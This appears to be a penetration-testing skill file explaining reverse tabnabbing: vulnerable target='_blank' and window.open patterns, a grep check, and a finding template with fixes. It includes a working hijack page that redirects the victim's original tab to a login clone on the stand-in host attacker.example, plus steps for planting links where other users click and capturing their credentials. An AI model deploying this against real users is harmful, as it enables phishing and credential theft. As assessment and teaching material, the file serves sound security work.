name: exploiting-reverse-tab-nabbing description: Identifying and exploiting reverse tabnabbing, where a link opened with target="_blank" without rel="noopener" gives the newly opened (attacker-controlled) page a reference to the originating window via window.opener, allowing it to redirect the original tab to a phishing clone. Activates when assessing user-controllable links, outbound links, or any anchor/window.open that opens new tabs. domain: cybersecurity subdomain: web-application-security tags:
- penetration-testing
- reverse-tabnabbing
- phishing
- owasp
- web-security version: '1.0' author: xalgorix license: Apache-2.0
Exploiting Reverse Tab Nabbing
When to Use
- During authorized assessments where users can control the
hrefof links rendered to other users - When the app renders outbound/user-supplied links with
target="_blank"(profile URLs, comments, posts, support tickets) - When testing "open in new tab" behaviors, share links, or SSO/OAuth pop-ups
- When reviewing markdown/rich-text renderers that auto-link URLs without
rel="noopener" - When evaluating phishing resistance of flows that send users to external sites
Prerequisites
- Authorization: Engagement scope covering client-side/phishing-style findings
- Attacker-controlled page: A page that uses
window.openerto redirect the original tab - A victim flow: A place where you can inject or supply a link that another user will click
- Two test accounts / a victim browser: To click the link and observe the original tab change
- A convincing clone: A look-alike of the original login page to demonstrate credential capture
Critical: Variants Most Often Missed
Testers check for rel="noopener" and stop. The nuance is the exact attribute
combinations that remain vulnerable and the cross-origin opener surface.
# VULNERABLE link conditions:
target="_blank" rel="opener" # explicitly grants opener
target="_blank" (no rel at all) # if no rel="noopener"/"noreferrer" -> vulnerable
window.open(url) # returns a window the new page can reach back via opener
# Note: modern browsers default anchors with target=_blank to noopener, BUT:
# - rel="opener" re-enables it
# - window.open() is NOT covered by the anchor default
# - older browsers / embedded webviews may still leak opener
# SAFE conditions (should be present):
rel="noopener" rel="noreferrer" rel="noopener noreferrer"
Attacker page that hijacks the original tab (malicious.html):
<!DOCTYPE html><html><body>
<script>
// The opener is the ORIGINAL site's window. Redirect it to a phishing clone.
window.opener.location = "https://attacker.example/victim-login-clone.html";
</script>
</body></html>
Vulnerable target markup that makes it work (vulnerable.html):
<a href="https://attacker.example/malicious.html" target="_blank" rel="opener">Open</a>
<!-- also vulnerable: target="_blank" with NO rel attribute -->
Cross-origin window.opener surface still reachable (limited but useful):
opener.closed opener.frames opener.length
opener.opener opener.parent opener.self opener.top
# If SAME-origin, the attacker page gets the FULL window object of the original page.
How to CONFIRM a hit (avoid false negatives)
- Opener reference exists: on the attacker page,
window.openeris non-null after the victim clicks the link. - Original tab navigates: setting
window.opener.locationactually changes the URL of the original tab to your attacker/clone page — the definitive confirmation. Demonstrate locally withpython3 -m http.serverand watch the original tab's URL change. - Cross-origin vs same-origin: cross-origin you can still call
window.opener.location = ...(navigation is allowed) even though property reads are limited; same-origin you gain full window access. Note which applies. - For a complete finding, show the redirect lands on a credential-harvesting clone (background tab swap) — the victim returns to a tab that now shows a fake login.
- Confirm the link is rendered to OTHER users (stored/reflected), not just yourself, to establish real impact.
Workflow
Step 1: Find New-Tab Links
# In rendered HTML, look for target=_blank without a safe rel
grep -oE "<a[^>]*target=[\"']_blank[\"'][^>]*>" page.html | grep -v "noopener\|noreferrer"
Identify which of these links carry user-controllable href values (profiles, posts, comments, ticket bodies, markdown).
Step 2: Confirm the Vulnerable Attribute Combo
Check each candidate link for rel="opener" or a missing rel. For programmatic opens, look for window.open(userUrl) in client JS.
Step 3: Host the Hijack Page
<!-- attacker.example/malicious.html -->
<script>window.opener.location = "https://attacker.example/clone.html";</script>
Build clone.html to mirror the target's login page.
Step 4: Deliver the Link to a Victim
Inject the link where another user will click it (profile website field, comment, support message). The victim clicks, a new tab opens your page, and your script redirects their original tab.
Step 5: Demonstrate Impact
1. Victim clicks attacker link -> new tab loads malicious.html
2. malicious.html sets window.opener.location -> original tab silently navigates to clone.html
3. Victim finishes with the new tab, returns to the original tab, sees a familiar-looking login
4. Victim re-enters credentials -> captured by the clone
Note stealthier abuse: with opener access the attacker can also manipulate events/exfiltrate if same-origin.
Step 6: Verify Reproducibility Locally
# Place vulnerable.html, malicious.html, malicious_redir.html in a folder
python3 -m http.server
# Visit http://127.0.0.1:8000/vulnerable.html, click the link, watch the original tab URL change
Key Concepts
| Concept | Description |
|---|---|
| window.opener | Reference the newly opened page holds to the window that opened it |
| target="_blank" | Opens the link in a new tab/window; historically shared the opener |
| rel="opener" | Explicitly grants the opener reference, re-enabling the vuln even with modern defaults |
| rel="noopener" | Severs window.opener (set to null) — the primary fix |
| window.open() | JS API that returns a window the opened page can reach back to; not covered by anchor defaults |
| Cross-origin opener | Limited but still allows opener.location navigation of the original tab |
| Same-origin opener | Full window object access from the opened page |
Tools & Systems
| Tool | Purpose |
|---|---|
| python3 -m http.server | Local reproduction of the vulnerable + malicious page chain |
| Browser devtools | Inspect window.opener and observe original-tab navigation |
| grep / ripgrep | Find target="_blank" links lacking noopener in rendered HTML |
| Attacker-hosted clone page | Demonstrate the phishing/credential-capture impact |
| Markdown/rich-text renderer review | Identify auto-linking that omits rel="noopener" |
Common Scenarios
Scenario 1: Profile Website Link
A user profile lets members set a personal website rendered as <a target="_blank" rel="opener">. An attacker sets it to their hijack page; anyone viewing the profile who clicks it has their original tab redirected to a login clone.
Scenario 2: Markdown Comment Auto-Link
A comment system auto-links URLs without rel="noopener". The attacker posts a link; readers who open it get their original tab swapped to a phishing page mimicking the site.
Scenario 3: OAuth/SSO Pop-up
A login flow uses window.open() to an external IdP without opener protection. The opened (attacker-influenced) page redirects the parent to a fake consent screen to harvest credentials.
Output Format
## Reverse Tabnabbing Finding
**Vulnerability**: Reverse Tabnabbing via target="_blank" without rel="noopener"
**Severity**: Medium (CVSS 5.4)
**Location**: User profile website link (stored, rendered to other users)
**OWASP Category**: A01:2021 - Broken Access Control / Client-Side
### Reproduction Steps
1. Set profile website to https://attacker.example/malicious.html
2. The app renders <a href="..." target="_blank" rel="opener">
3. Victim views the profile and clicks the link -> new tab opens
4. malicious.html runs window.opener.location = clone.html
5. Victim's ORIGINAL tab silently navigates to a phishing clone of the login page
### Evidence
| Check | Result |
|-------|--------|
| Rendered attribute | target="_blank" rel="opener" |
| window.opener | non-null on attacker page |
| Original tab | navigated to attacker clone |
### Impact
Phishing with high credibility: the victim returns to what looks like the real
site's login and re-enters credentials, which the attacker captures.
### Recommendation
1. Add rel="noopener noreferrer" to all target="_blank" links, especially user-supplied/outbound
2. Never use rel="opener" on links to untrusted destinations
3. For window.open(), set the returned window's opener to null or pass noopener
4. Sanitize rich-text/markdown so auto-linked anchors always include rel="noopener"